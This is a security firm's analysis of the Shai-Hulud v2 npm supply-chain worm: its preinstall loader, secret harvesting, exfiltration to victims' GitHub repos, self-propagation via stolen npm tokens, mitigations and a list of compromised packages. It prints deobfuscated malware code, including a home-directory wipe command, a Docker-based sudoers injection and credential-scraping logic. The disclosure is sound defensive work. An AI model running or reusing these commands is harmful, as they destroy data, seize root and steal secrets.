Shai Hulud Strikes Again (v2)

Another wave of Shai-Hulud campaign has hit npm with more than 500 packages and 700+ versions affected.

Socket Research Team

Nov 24, 202515 min read

Update: November 26, 2025
PostHog has published a detailed post mortem describing how one of its GitHub Actions workflows was abused as an initial access vector for Shai Hulud v2. An attacker briefly opened a pull request that modified a script executed via pull_request_target, exfiltrated a bot personal access token from CI, then used that access to steal additional GitHub secrets including an npm publish token and ship malicious versions of several PostHog SDKs. PostHog has since revoked credentials, tightened workflow reviews, moved to trusted publishing, and reworked its secrets management. Their write up highlights how subtle CI workflow choices can create a path from untrusted contributions to package release credentials.

Update: November 25, 2025
The Shai Hulud v2 campaign has primarily targeted the npm ecosystem, compromising hundreds of packages and exposing secrets from tens of thousands of GitHub repositories.
We now also observe a spillover into the Java/Maven ecosystem: the Maven Central package org.mvnpm:posthog-node:4.18.1 embeds the same Bun-based malicious payload (bun_environment.js, SHA-1: d60ec97eea19fffb4809bc35b91033b52490ca11) and setup_bun.js loader used in the npm campaign. This means the PostHog project has compromised releases in both the JavaScript/npm and Java/Maven ecosystems, driven by the same Shai Hulud v2 payload. We reported this compromised Maven package version to the Maven Central security team.
At 18:06 UTC (10:06 PST), the Maven Central team confirmed they were investigating the artifact and explained that the org.mvnpm coordinates are produced via an automated mvnpm process that rebuilds npm packages as Maven artifacts, and that they are working on additional procedures to prevent already known compromised npm components from being rebundled.
At 18:50 UTC (10:50 PST), the PostHog team confirmed that they do not publish to Maven directly and that the malicious npm version had already been removed from npm, with the Maven artifact representing a mirrored copy of that release.
At 22:44 UTC (13:44 PST), the Maven Central team reported that they had purged the affected components from Maven Central and taken steps to prevent any reintroduction of these compromised artifacts.

Multiple npm packages from @zapier , @asyncapi , @postman, @posthog and @ensdomains have been compromised via account takeover/developer compromise. The malicious actor has made the following changes in these packages.

Added a preinstall script setup_bun.js in the package.json file
The setup_bun.js file is a stealthy loader that silently installs or locates the Bun runtime and then executes a 10MB obfuscated and bundled malicious script (bun_environment.js) with all output suppressed.

We will be updating the post with further technical analysis and list of additional packages.

Technical Analysis

The attack uses a two-stage loader. When npm runs the preinstall script, it executes setup_bun.js, which:

Detects OS/architecture
Downloads or locates the Bun runtime for that platform
Caches Bun binary in ~/.cache or equivalent
Spawns a detached Bun process running bun_environment.js with POSTINSTALL_BG=1 flag
Suppresses all stdout/stderr and returns immediately

The package installation completes normally while the payload runs in the background.

C2 Discovery via GitHub Search

Before executing its main payload, the malware attempts self-healing by searching public GitHub repositories for the beacon phrase:

"Sha1-Hulud: The Second Coming."

If found, it:

Reads a stored file containing a GitHub access token
Decodes it through three layers: base64 → base64 → base64
Uses the recovered token as its primary credential for exfiltration

This makes the malware self-healing—if a victim deletes previous malicious repositories, the attacker can re-seed victims through GitHub search. The beacon phrase also serves as a campaign signature for tracking infected repositories.

Environment Fingerprinting

The payload collects system information:

JavaScript

let _0x5735a8 = {
  'system': {
    'platform': _0x46410c["platform"],           // windows/linux/darwin
    'architecture': _0x46410c["architecture"],   // x86/x64/arm/arm64
    'hostname': a0_0xf22814["hostname"](),
    'os_user': a0_0xf22814["userInfo"](),
  },
  'modules': {
    'github': {
      'authenticated': _0x1b7dd4['isAuthenticated'](),
      'token': _0x1b7dd4['getCurrentToken'](),
      'username': _0x57709e,
    },
  },
};

It detects CI/CD environments by checking for:

GITHUB_ACTIONS + RUNNER_OS (executes Ry1(), cQ0(), pQ0(), gQ0() functions)
BUILDKITE
CODEBUILD_BUILD_NUMBER
CIRCLE_SHA1
PROJECT_ID

GitHub Actions Runner Privilege Escalation

On GitHub Actions runners (Linux only), the malware attempts to gain root access through sudoers manipulation.

`pQ0()` - Sudoers Injection

First attempts passwordless sudo:

sudo -n true

If that fails, exploits Docker privileges to write /etc/sudoers.d/runner:

docker run --rm --privileged -v /:/host ubuntu bash -c \\ "cp /host/tmp/runner /host/etc/sudoers.d/runner"

This grants the malware passwordless root access on GitHub Actions runners.

`gQ0()` - DNS and Firewall Manipulation

Once privileged, the malware:

Stops systemd-resolved
Replaces DNS configuration from /tmp/resolved.conf
Restarts the resolver
Flushes iptables rules:

Bash

sudo iptables -F OUTPUT
sudo iptables -F DOCKER-USER

This provides network-level control within CI environments, enabling:

Man-in-the-middle attacks inside CI
Redirection of package installs to malicious mirrors
Blocking security scanners from reaching the internet
Prevention of security updates

Credential Collection

1. Environment Variables

JavaScript

let _0x5bb75d = { 'environment': process["env"] };

Captures entire environment including GITHUB_TOKEN, NPM_TOKEN, AWS_ACCESS_KEY_ID, AWS_SECRET_ACCESS_KEY, and all CI-injected secrets.

2. TruffleHog Filesystem Scan

JavaScript

async function uy1(_0x5a0845) {
  let _0x51fad2 = new Tl();
  await _0x51fad2["initialize"]();
  let _0x192d24 = await _0x51fad2["scanFilesystem"](a0_0xf22814["homedir"]());
  await _0x5a0845['saveContents']("truffleSecrets.json", JSON["stringify"](_0x192d24));
}

The Tl class:

Downloads TruffleHog binary from github.com/trufflesecurity/trufflehog/releases
Caches it in ~/.truffler-cache
Runs trufflehog filesystem $HOME --json
Scans entire home directory for hardcoded secrets

3. Cloud Provider APIs

AWS Multi-Region Enumeration

The AWS collector (WX) aggressively enumerates secrets across all AWS regions, not just the default:

JavaScript

_0x3e4549 = {
  'aws': { 'secrets': await _0x30fddc["runSecrets"]() },
  'gcp': { 'secrets': await _0x79b1b9['listAndRetrieveAllSecrets']() },
  'azure': { 'secrets': await _0x8fa8f["listAndRetrieveAllSecrets"]() },
};

The AWS module loops through every available region, enumerating and dumping all secret values from AWS Secrets Manager in each. This regional sweeping is unusually aggressive and significantly increases the credential harvest in multi-region deployments.

GCP Secret Manager and Azure Key Vault are similarly enumerated to retrieve all accessible secrets.

4. GitHub Actions Secrets with Automated Credential Scraping

JavaScript

async function ky1(_0x4c25d7) {
  if (_0x4c25d7["isAuthenticated"]() && await _0x4c25d7["checkWorkflowScope"]()) {
    let _0x5b24e2 = new mq(_0x3c6fb2);
    let _0x42eae5 = _0x5b24e2["userReposUpdatedSince"]();
    for await(let _0x4ed63b of _0x5b24e2['processReposStream'](_0x42eae5))
      _0x2b1cf7["push"](_0x4ed63b);
    return await _0x4c25d7["saveContents"]("actionsSecrets.json", JSON["stringify"](_0x2b1cf7));
  }
}

Enumerates user repositories and extracts GitHub Actions workflow secrets. The malware then mines this data for NPM tokens (see worm propagation section).

Data Exfiltration

Creates a GitHub repository in the victim's account using the stolen GitHub token. The repository name is randomly generated:

JavaScript

function tL0() {
  return Array["from"]({ 'length': 0x12 }, () =>
    Math["random"]()['toString'](0x24)['slice'](0x2, 0x3))['join']('');
}

Some repositories are created with the description: "Sha1-Hulud: The Second Coming." as a campaign marker.

Triple-Base64 Encoding

All exfiltrated data is encoded through three layers of base64 before upload:

content → base64 → base64 → base64
This serves multiple anti-forensic purposes:

Evades GitHub's built-in secret scanning
Bypasses third-party secret detection tools
Makes casual browsing of repository contents ineffective
Complicates forensic analysis of stolen data

Uploads five JSON files to the victim's repository:

JavaScript

await _0x1b7dd4["createRepo"](tL0());
_0x1b7dd4["saveContents"]("contents.json", JSON["stringify"](_0x5735a8));      // System info + GitHub creds
_0x1b7dd4["saveContents"]("environment.json", JSON["stringify"](_0x5bb75d));   // All env vars
_0x1b7dd4["saveContents"]("cloud.json", JSON['stringify'](_0x3e4549));         // AWS/GCP/Azure secrets
_0x1b7dd4["saveContents"]("truffleSecrets.json", JSON["stringify"](_0x192d24));// TruffleHog findings
_0x1b7dd4["saveContents"]("actionsSecrets.json", JSON["stringify"](_0x2b1cf7));// GitHub Actions secrets

Worm Propagation

Primary NPM Token Exploitation

JavaScript

async function El(_0x36c877) {
  let _0x23e1d9 = new Wl(_0x36c877);
  _0x4012c4 = await _0x23e1d9["validateToken"]();

  if (_0x4012c4) {
    let _0x8bd950 = await _0x23e1d9['getPackagesByMaintainer'](_0x4012c4, 0x64);  // Get up to 100 packages
    await Promise["all"](_0x8bd950["map"](async _0x1d876b => {
      await _0x23e1d9['updatePackage'](_0x1d876b);
    }));
  }
}

For each valid NPM token:

Validates token against npm registry
Fetches all packages by that maintainer (max 100)
Calls updatePackage() on each package

The updatePackage() function:

Downloads the package tarball
Injects two new files: setup_bun.js and bun_environment.js
Patches package.json to add the preinstall script
Increments the patch version (x.y.z → x.y.z+1)
Publishes the new malicious version to npm

The patch-version bumping strategy makes infected packages harder to notice compared to major or minor version changes.

Secondary Token Mining from GitHub Actions

Before giving up, the malware performs automated credential scraping on all GitHub Actions metadata, searching for any string that starts with npm_:

JavaScript

for (let [_0x11c4f3, _0x402786] of Object['entries'](_0x5998e5)) {
  if (typeof _0x402786 === "string" && _0x402786['startsWith']("npm_")) {
    if ((await El(_0x402786))["npmTokenValid"]) {
      await Promise["all"]([_0x6e06c0, _0x584734, _0x3adc69, _0x53223d]);
      process['exit'](0x0);
    }
  }
}

This creates a full CI → NPM takeover chain: compromised GitHub Actions workflows reveal NPM tokens stored as secrets, which are then used to poison additional packages. This automated pivoting mechanism enables the worm to bootstrap propagation even without direct NPM_TOKEN environment variables.

Destructive Payload

If no GitHub token is available and no NPM token is valid, executes file destruction:

JavaScript

if (console['log']("Error 12"), _0x46410c["platform"] === "windows")
  Bun["spawnSync"](["cmd.exe", '/c',
    "del /F /Q /S \"%USERPROFILE%*\" && " +
    "for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
    "cipher /W:%USERPROFILE%"]);
else
  Bun["spawnSync"](["bash", '-c',
    'find "$HOME" -type f -writable -user "$(id -un)" -print0 | ' +
    'xargs -0 -r shred -uvz -n 1 && ' +
    'find "$HOME" -depth -type d -empty -delete']);

Windows: Deletes all files in %USERPROFILE%, removes directories, overwrites free space with cipher /W

Linux/macOS: Finds all writable user files, shreds them with single-pass overwrite, deletes empty directories

Stealth Mechanisms

Background execution:

JavaScript

if (process["env"]["POSTINSTALL_BG"] !== '1') {
  Bun['spawn']([_0x4a3fc4, process["argv"][0x1]], {
    'env': { ...process["env"], 'POSTINSTALL_BG': '1' }
  })["unref"]();
  return;
}

Silent failure:

JavaScript

jy1()["catch"](_0x5ddff6 => {
  process["exit"](0x0);  // Always exits with success code
});

All errors exit with code 0, suppressing npm warnings.

Mitigations & Defenses

In the first Shai-Hulud Supply Chain compromise, the threat actor originally gained access through a compromised maintainer account, and likely did again. It is therefore incredibly pertinent to ensure the safety of your CI/CD pipeline.

Immediate Actions: If you have any of the packages listed above installed, remove them immediately and delete your node_modules folder. If these packages were installed in environments with access to secrets or credentials, rotate all API keys, tokens, and passwords immediately as the malicious code may have exfiltrated sensitive information. Follow OpenJS' guidance and understand the pros and cons to the different approaches to publishing to npm. Check GitHub for strange repos like those pictured below with the description, “Sha1-Hulud: The Second Coming.”

Prevention:

Socket’s free GitHub app can ensure that whenever a new dependency is added in a pull request, you will be informed about the package’s behavior and security risk. Socket Firewall will block malicious dependencies before they reach your machine. Also consider:

Using package lock files and monitor your CI/CD pipeline continuously.
Enforcing immutable build steps and require review before modifying CI configurations.
Restricting who can trigger publishing workflows.
Preventing CI jobs from accessing unnecessary secrets.
Adding publication verification and require customers to verify provenance before trusting new versions.

Indicators of Compromise

List of infected packages so far:-

@accordproject/concerto-analysis (v3.24.1)
@accordproject/concerto-linter (v3.24.1)
@accordproject/concerto-linter-default-ruleset (v3.24.1)
@accordproject/concerto-metamodel (v3.12.5)
@accordproject/concerto-types (v3.24.1)
@accordproject/concerto-types (v3.24.1)
@accordproject/markdown-it-cicero (v0.16.26)
@accordproject/template-engine (v2.7.2)
@actbase/css-to-react-native-transform (v1.0.3)
@actbase/css-to-react-native-transform (v1.0.3)
@actbase/native (v0.1.32)
@actbase/node-server (v1.1.19)
@actbase/react-absolute (v0.8.3)
@actbase/react-daum-postcode (v1.0.5)
@actbase/react-kakaosdk (v0.9.27)
@actbase/react-native-actionsheet (v1.0.3)
@actbase/react-native-devtools (v0.1.3)
@actbase/react-native-fast-image (v8.5.13)
@actbase/react-native-kakao-channel (v1.0.2)
@actbase/react-native-kakao-navi (v2.0.4)
@actbase/react-native-less-transformer (v1.0.6)
@actbase/react-native-naver-login (v1.0.1)
@actbase/react-native-simple-video (v1.0.13)
@actbase/react-native-tiktok (v1.1.3)
@afetcan/api (v0.0.13)
@afetcan/storage (v0.0.27)
@alaan/s2s-auth (v2.0.3)
@alexadark/amadeus-api (v1.0.4)
@alexadark/gatsby-theme-events (v1.0.1)
@alexadark/gatsby-theme-wordpress-blog (v2.0.1)
@alexadark/reusable-functions (v1.5.1)
@alexcolls/nuxt-socket.io (v0.0.7, v0.0.8)
@alexcolls/nuxt-ux (v0.6.1, v0.6.2)
@antstackio/eslint-config-antstack (v0.0.3)
@antstackio/express-graphql-proxy (v0.2.8)
@antstackio/graphql-body-parser (v0.1.1)
@antstackio/json-to-graphql (v1.0.3)
@antstackio/shelbysam (v1.1.7)
@aryanhussain/my-angular-lib (v0.0.23)
@asyncapi/avro-schema-parser (v3.0.25)
@asyncapi/avro-schema-parser (v3.0.26)
@asyncapi/bundler (v0.6.5, v0.6.6)
@asyncapi/bundler (v0.6.6)
@asyncapi/cli (v4.1.2)
@asyncapi/cli (v4.1.3)
@asyncapi/converter (v1.6.3)
@asyncapi/converter (v1.6.4)
@asyncapi/diff (v0.5.1)
@asyncapi/diff (v0.5.2)
@asyncapi/dotnet-rabbitmq-template (v1.0.1)
@asyncapi/dotnet-rabbitmq-template (v1.0.2)
@asyncapi/edavisualiser (v1.2.1)
@asyncapi/edavisualiser (v1.2.2)
@asyncapi/generator (v2.8.5)
@asyncapi/generator (v2.8.6)
@asyncapi/generator-components (v0.3.2)
@asyncapi/generator-components (v0.3.3)
@asyncapi/generator-helpers (v0.2.1)
@asyncapi/generator-helpers (v0.2.2)
@asyncapi/generator-react-sdk (v1.1.4)
@asyncapi/generator-react-sdk (v1.1.5)
@asyncapi/go-watermill-template (v0.2.76)
@asyncapi/go-watermill-template (v0.2.77)
@asyncapi/html-template (v3.3.2)
@asyncapi/html-template (v3.3.3)
@asyncapi/java-spring-cloud-stream-template (v0.13.5)
@asyncapi/java-spring-cloud-stream-template (v0.13.6)
@asyncapi/java-spring-template (v1.6.1)
@asyncapi/java-spring-template (v1.6.2)
@asyncapi/java-template (v0.3.5)
@asyncapi/java-template (v0.3.6)
@asyncapi/keeper (v0.0.2)
@asyncapi/keeper (v0.0.3)
@asyncapi/markdown-template (v1.6.8, v1.6.9)
@asyncapi/modelina (v5.10.2)
@asyncapi/modelina (v5.10.3)
@asyncapi/modelina-cli (v5.10.2)
@asyncapi/modelina-cli (v5.10.3)
@asyncapi/multi-parser (v2.2.1)
@asyncapi/multi-parser (v2.2.2)
@asyncapi/nodejs-template (v3.0.5)
@asyncapi/nodejs-template (v3.0.6)
@asyncapi/nodejs-ws-template (v0.10.1)
@asyncapi/nodejs-ws-template (v0.10.2)
@asyncapi/nunjucks-filters (v2.1.1)
@asyncapi/nunjucks-filters (v2.1.2)
@asyncapi/openapi-schema-parser (v3.0.25)
@asyncapi/openapi-schema-parser (v3.0.26)
@asyncapi/optimizer (v1.0.5)
@asyncapi/optimizer (v1.0.6)
@asyncapi/parser (v3.4.1)
@asyncapi/parser (v3.4.2)
@asyncapi/php-template (v0.1.1)
@asyncapi/php-template (v0.1.2)
@asyncapi/problem (v1.0.1)
@asyncapi/problem (v1.0.2)
@asyncapi/protobuf-schema-parser (v3.5.2, v3.6.1)
@asyncapi/protobuf-schema-parser (v3.5.3)
@asyncapi/python-paho-template (v0.2.14)
@asyncapi/python-paho-template (v0.2.15)
@asyncapi/react-component (v2.6.6)
@asyncapi/react-component (v2.6.7)
@asyncapi/server-api (v0.16.24)
@asyncapi/server-api (v0.16.25)
@asyncapi/specs (v6.8.2, v6.9.1, v6.10.1)
@asyncapi/specs (v6.8.3)
@asyncapi/studio (v1.0.2)
@asyncapi/studio (v1.0.3)
@asyncapi/web-component (v2.6.6)
@asyncapi/web-component (v2.6.7)
@bdkinc/knex-ibmi (v0.5.7)
@browserbasehq/bb9 (v1.2.21)
@browserbasehq/director-ai (v1.0.3)
@browserbasehq/mcp (v2.1.1)
@browserbasehq/mcp-server-browserbase (v2.4.2)
@browserbasehq/sdk-functions (v0.0.4)
@browserbasehq/stagehand (v3.0.4)
@browserbasehq/stagehand-docs (v1.0.1)
@caretive/caret-cli (v0.0.2)
@chtijs/eslint-config (v1.0.1)
@clausehq/flows-step-httprequest (v0.1.14)
@clausehq/flows-step-jsontoxml (v0.1.14)
@clausehq/flows-step-mqtt (v0.1.14)
@clausehq/flows-step-sendgridemail (v0.1.14)
@clausehq/flows-step-taskscreateurl (v0.1.14)
@cllbk/ghl (v1.3.1)
@commute/bloom (v1.0.3)
@commute/market-data (v1.0.2)
@commute/market-data-chartjs (v2.3.1)
@dev-blinq/ai-qa-logic (v1.0.19)
@dev-blinq/blinqioclient (v1.0.21)
@dev-blinq/cucumber_client (v1.0.738)
@dev-blinq/cucumber-js (v1.0.131)
@dev-blinq/ui-systems (v1.0.93)
@ensdomains/address-encoder (v1.1.5)
@ensdomains/blacklist (v1.0.1)
@ensdomains/buffer (v0.1.2)
@ensdomains/ccip-read-cf-worker (v0.0.4)
@ensdomains/ccip-read-dns-gateway (v0.1.1)
@ensdomains/ccip-read-router (v0.0.7)
@ensdomains/ccip-read-worker-viem (v0.0.4)
@ensdomains/content-hash (v3.0.1)
@ensdomains/curvearithmetics (v1.0.1)
@ensdomains/cypress-metamask (v1.2.1)
@ensdomains/dnsprovejs (v0.5.3)
@ensdomains/dnssec-oracle-anchors (v0.0.2)
@ensdomains/dnssecoraclejs (v0.2.9)
@ensdomains/durin (v0.1.2)
@ensdomains/durin-middleware (v0.0.2)
@ensdomains/ens-archived-contracts (v0.0.3)
@ensdomains/ens-avatar (v1.0.4)
@ensdomains/ens-contracts (v1.6.1)
@ensdomains/ens-test-env (v1.0.2)
@ensdomains/ens-validation (v0.1.1)
@ensdomains/ensjs (v4.0.3)
@ensdomains/ensjs-react (v0.0.5)
@ensdomains/eth-ens-namehash (v2.0.16)
@ensdomains/hackathon-registrar (v1.0.5)
@ensdomains/hardhat-chai-matchers-viem (v0.1.15)
@ensdomains/hardhat-toolbox-viem-extended (v0.0.6)
@ensdomains/mock (v2.1.52)
@ensdomains/name-wrapper (v1.0.1)
@ensdomains/offchain-resolver-contracts (v0.2.2)
@ensdomains/op-resolver-contracts (v0.0.2)
@ensdomains/react-ens-address (v0.0.32)
@ensdomains/renewal (v0.0.13)
@ensdomains/renewal-widget (v0.1.10)
@ensdomains/reverse-records (v1.0.1)
@ensdomains/server-analytics (v0.0.2)
@ensdomains/solsha1 (v0.0.4)
@ensdomains/subdomain-registrar (v0.2.4)
@ensdomains/test-utils (v1.3.1)
@ensdomains/thorin (v0.6.51)
@ensdomains/ui (v3.4.6)
@ensdomains/unicode-confusables (v0.1.1)
@ensdomains/unruggable-gateways (v0.0.3)
@ensdomains/vite-plugin-i18next-loader (v4.0.4)
@ensdomains/web3modal (v1.10.2)
@everreal/react-charts (v2.0.1)
@everreal/react-charts (v2.0.2)
@everreal/validate-esmoduleinterop-imports (v1.4.4, v1.4.5)
@everreal/web-analytics (v0.0.1, v0.0.2)
@faq-component/core (v0.0.4)
@faq-component/react (v1.0.1)
@fishingbooker/browser-sync-plugin (v1.0.5)
@fishingbooker/react-loader (v1.0.7)
@fishingbooker/react-pagination (v2.0.6)
@fishingbooker/react-raty (v2.0.1)
@fishingbooker/react-swiper (v0.1.5)
@hapheus/n8n-nodes-pgp (v1.5.1)
@hover-design/core (v0.0.1)
@hover-design/react (v0.2.1)
@huntersofbook/auth-vue (v0.4.2)
@huntersofbook/core (v0.5.1)
@huntersofbook/core-nuxt (v0.4.2)
@huntersofbook/form-naiveui (v0.5.1)
@huntersofbook/i18n (v0.8.2)
@huntersofbook/ui (v0.5.1)
@hyperlook/telemetry-sdk (v1.0.19)
@ifelsedeveloper/protocol-contracts-svm-idl (v0.1.2)
@ifelsedeveloper/protocol-contracts-svm-idl (v0.1.3)
@ifings/design-system (v4.9.2)
@ifings/metatron3 (v0.1.5)
@jayeshsadhwani/telemetry-sdk (v1.0.14)
@kvytech/cli (v0.0.7)
@kvytech/components (v0.0.2)
@kvytech/habbit-e2e-test (v0.0.2)
@kvytech/medusa-plugin-announcement (v0.0.8)
@kvytech/medusa-plugin-management (v0.0.5)
@kvytech/medusa-plugin-newsletter (v0.0.5)
@kvytech/medusa-plugin-product-reviews (v0.0.9)
@kvytech/medusa-plugin-promotion (v0.0.2)
@kvytech/web (v0.0.2)
@lessondesk/api-client (v9.12.2)
@lessondesk/api-client (v9.12.3)
@lessondesk/babel-preset (v1.0.1)
@lessondesk/electron-group-api-client (v1.0.3)
@lessondesk/eslint-config (v1.4.2)
@lessondesk/material-icons (v1.0.3)
@lessondesk/react-table-context (v2.0.4)
@lessondesk/schoolbus (v5.2.2, v5.2.3)
@livecms/live-edit (v0.0.32)
@livecms/nuxt-live-edit (v1.9.2)
@lokeswari-satyanarayanan/rn-zustand-expo-template (v1.0.9)
@louisle2/core (v1.0.1)
@louisle2/cortex-js (v0.1.6)
@lpdjs/firestore-repo-service (v1.0.1)
@lui-ui/lui-nuxt (v0.1.1)
@lui-ui/lui-tailwindcss (v0.1.2)
@lui-ui/lui-vue (v1.0.13)
@markvivanco/app-version-checker (v1.0.1, v1.0.2)
@mcp-use/cli (v2.2.6, v2.2.7)
@mcp-use/inspector (v0.6.2, v0.6.3)
@mcp-use/mcp-use (v1.0.1, v1.0.2)
@micado-digital/stadtmarketing-kufstein-external (v1.9.1)
@mizzle-dev/orm (v0.0.2)
@ntnx/passport-wso2 (v0.0.3)
@ntnx/t (v0.0.101)
@oku-ui/accordion (v0.6.2)
@oku-ui/alert-dialog (v0.6.2)
@oku-ui/arrow (v0.6.2)
@oku-ui/aspect-ratio (v0.6.2)
@oku-ui/avatar (v0.6.2)
@oku-ui/checkbox (v0.6.3)
@oku-ui/collapsible (v0.6.2)
@oku-ui/collection (v0.6.2)
@oku-ui/dialog (v0.6.2)
@oku-ui/direction (v0.6.2)
@oku-ui/dismissable-layer (v0.6.2)
@oku-ui/focus-guards (v0.6.2)
@oku-ui/focus-scope (v0.6.2)
@oku-ui/hover-card (v0.6.2)
@oku-ui/label (v0.6.2)
@oku-ui/menu (v0.6.2)
@oku-ui/motion (v0.4.4)
@oku-ui/motion-nuxt (v0.2.2)
@oku-ui/popover (v0.6.2)
@oku-ui/popper (v0.6.2)
@oku-ui/portal (v0.6.2)
@oku-ui/presence (v0.6.2)
@oku-ui/primitive (v0.6.2)
@oku-ui/primitives (v0.7.9)
@oku-ui/primitives-nuxt (v0.3.1)
@oku-ui/progress (v0.6.2)
@oku-ui/provide (v0.6.2)
@oku-ui/radio-group (v0.6.2)
@oku-ui/roving-focus (v0.6.2)
@oku-ui/scroll-area (v0.6.2)
@oku-ui/separator (v0.6.2)
@oku-ui/slider (v0.6.2)
@oku-ui/slot (v0.6.2)
@oku-ui/switch (v0.6.2)
@oku-ui/tabs (v0.6.2)
@oku-ui/toast (v0.6.2)
@oku-ui/toggle (v0.6.2)
@oku-ui/toggle-group (v0.6.2)
@oku-ui/toolbar (v0.6.2)
@oku-ui/tooltip (v0.6.2)
@oku-ui/use-composable (v0.6.2)
@oku-ui/utils (v0.6.2)
@oku-ui/visually-hidden (v0.6.2)
@orbitgtbelgium/mapbox-gl-draw-cut-polygon-mode (v2.0.5)
@orbitgtbelgium/mapbox-gl-draw-scale-rotate-mode (v1.1.1)
@orbitgtbelgium/orbit-components (v1.2.9)
@orbitgtbelgium/time-slider (v1.0.187)
@osmanekrem/bmad (v1.0.6)
@osmanekrem/error-handler (v1.2.2)
@pergel/cli (v0.11.1)
@pergel/module-box (v0.6.1)
@pergel/module-graphql (v0.6.1)
@pergel/module-ui (v0.0.9)
@pergel/nuxt (v0.25.5)
@posthog/agent (v1.24.1)
@posthog/ai (v7.1.2)
@posthog/automatic-cohorts-plugin (v0.0.8)
@posthog/bitbucket-release-tracker (v0.0.8)
@posthog/cli (v0.5.15)
@posthog/clickhouse (v1.7.1)
@posthog/core (v1.5.6)
@posthog/currency-normalization-plugin (v0.0.8)
@posthog/customerio-plugin (v0.0.8)
@posthog/databricks-plugin (v0.0.8)
@posthog/drop-events-on-property-plugin (v0.0.8)
@posthog/event-sequence-timer-plugin (v0.0.8)
@posthog/filter-out-plugin (v0.0.8)
@posthog/first-time-event-tracker (v0.0.8)
@posthog/geoip-plugin (v0.0.8)
@posthog/github-release-tracking-plugin (v0.0.8)
@posthog/gitub-star-sync-plugin (v0.0.8)
@posthog/heartbeat-plugin (v0.0.8)
@posthog/hedgehog-mode (v0.0.42)
@posthog/icons (v0.36.1)
@posthog/ingestion-alert-plugin (v0.0.8)
@posthog/intercom-plugin (v0.0.8)
@posthog/kinesis-plugin (v0.0.8)
@posthog/laudspeaker-plugin (v0.0.8)
@posthog/lemon-ui (v0.0.1)
@posthog/maxmind-plugin (v0.1.6)
@posthog/migrator3000-plugin (v0.0.8)
@posthog/netdata-event-processing (v0.0.8)
@posthog/nextjs (v0.0.3)
@posthog/nextjs-config (v1.5.1)
@posthog/nuxt (v1.2.9)
@posthog/pagerduty-plugin (v0.0.8)
@posthog/piscina (v3.2.1)
@posthog/plugin-contrib (v0.0.6)
@posthog/plugin-server (v1.10.8)
@posthog/plugin-unduplicates (v0.0.8)
@postman/pm-bin-linux-x64 (v1.24.3)
@postman/pm-bin-linux-x64 (v1.24.4)
@postman/pm-bin-linux-x64 (v1.24.5)
@posthog/postgres-plugin (v0.0.8)
@posthog/react-rrweb-player (v1.1.4)
@posthog/rrdom (v0.0.31)
@posthog/rrweb (v0.0.31)
@posthog/rrweb-player (v0.0.31)
@posthog/rrweb-record (v0.0.31)
@posthog/rrweb-replay (v0.0.19)
@posthog/rrweb-snapshot (v0.0.31)
@posthog/rrweb-utils (v0.0.31)
@posthog/sendgrid-plugin (v0.0.8)
@posthog/siphash (v1.1.2)
@posthog/snowflake-export-plugin (v0.0.8)
@posthog/taxonomy-plugin (v0.0.8)
@posthog/twilio-plugin (v0.0.8)
@posthog/twitter-followers-plugin (v0.0.8)
@posthog/url-normalizer-plugin (v0.0.8)
@posthog/variance-plugin (v0.0.8)
@posthog/web-dev-server (v1.0.5)
@posthog/wizard (v1.18.1)
@posthog/zendesk-plugin (v0.0.8)
@postman/aether-icons (v2.23.2, v2.23.3, v2.23.4)
@postman/csv-parse (v4.0.3, v4.0.4, v4.0.5)
@postman/final-node-keytar (v7.9.1, v7.9.2, v7.9.3)
@postman/mcp-ui-client (v5.5.1, v5.5.2, v5.5.3)
@postman/node-keytar (v7.9.4, v7.9.5, v7.9.6)
@postman/pm-bin-linux-x64 (v1.24.4, v1.24.5)
@postman/pm-bin-macos-arm64 (v1.24.3, v1.24.4, v1.24.5)
@postman/pm-bin-macos-x64 (v1.24.3, v1.24.4)
@postman/pm-bin-windows-x64 (v1.24.3, v1.24.4, v1.24.5)
@postman/postman-collection-fork (v4.3.3, v4.3.4, v4.3.5)
@postman/postman-mcp-cli (v1.0.3, v1.0.4, v1.0.5)
@postman/postman-mcp-server (v2.4.10, v2.4.11, v2.4.12)
@postman/pretty-ms (v6.1.1, v6.1.2, v6.1.3)
@postman/secret-scanner-wasm (v2.1.2, v2.1.3, v2.1.4)
@postman/tunnel-agent (v0.6.5, v0.6.6, v0.6.7)
@postman/wdio-allure-reporter (v0.0.7, v0.0.8, v0.0.9)
@postman/wdio-junit-reporter (v0.0.4, v0.0.5, v0.0.6)
@pradhumngautam/common-app (v1.0.2)
@productdevbook/animejs-vue (v0.2.1)
@productdevbook/auth (v0.2.2)
@productdevbook/chatwoot (v2.0.1)
@productdevbook/motion (v1.0.4)
@productdevbook/ts-i18n (v1.4.2)
@pruthvi21/use-debounce (v1.0.3)
@quick-start-soft/quick-document-translator (v1.4.2511142126)
@quick-start-soft/quick-git-clean-markdown (v1.4.2511142126)
@quick-start-soft/quick-markdown (v1.4.2511142126)
@quick-start-soft/quick-markdown-compose (v1.4.2506300029)
@quick-start-soft/quick-markdown-image (v1.4.2511142126)
@quick-start-soft/quick-markdown-print (v1.4.2511142126)
@quick-start-soft/quick-markdown-translator (v1.4.2509202331)
@quick-start-soft/quick-remove-image-background (v1.4.2511142126)
@quick-start-soft/quick-task-refine (v1.4.2511142126)
@relyt/claude-context-core (v0.1.1)
@relyt/claude-context-mcp (v0.1.1)
@relyt/mcp-server-relytone (v0.0.3)
@sameepsi/sor (v1.0.3, v2.0.2)
@sameepsi/sor2 (v2.0.2)
@seezo/sdr-mcp-server (v0.0.5)
@seung-ju/next (v0.0.2)
@seung-ju/openapi-generator (v0.0.4)
@seung-ju/react-hooks (v0.0.2)
@seung-ju/react-native-action-sheet (v0.2.1)
@silgi/better-auth (v0.8.1)
@silgi/drizzle (v0.8.4)
@silgi/ecosystem (v0.7.6)
@silgi/graphql (v0.7.15)
@silgi/module-builder (v0.8.8)
@silgi/openapi (v0.7.4)
@silgi/permission (v0.6.8)
@silgi/ratelimit (v0.2.1)
@silgi/scalar (v0.6.2)
@silgi/yoga (v0.7.1)
@sme-ui/aoma-vevasound-metadata-lib (v0.1.3)
@strapbuild/react-native-date-time-picker (v2.0.4)
@strapbuild/react-native-perspective-image-cropper (v0.4.15)
@strapbuild/react-native-perspective-image-cropper-2 (v0.4.7)
@strapbuild/react-native-perspective-image-cropper-poojan31 (v0.4.6)
@suraj_h/medium-common (v1.0.5)
@thedelta/eslint-config (v1.0.2)
@tiaanduplessis/json (v2.0.2, v2.0.3)
@tiaanduplessis/react-progressbar (v1.0.1, v1.0.2)
@trackstar/angular-trackstar-link (v1.0.2)
@trackstar/react-trackstar-link (v2.0.21)
@trackstar/react-trackstar-link-upgrade (v1.1.10)
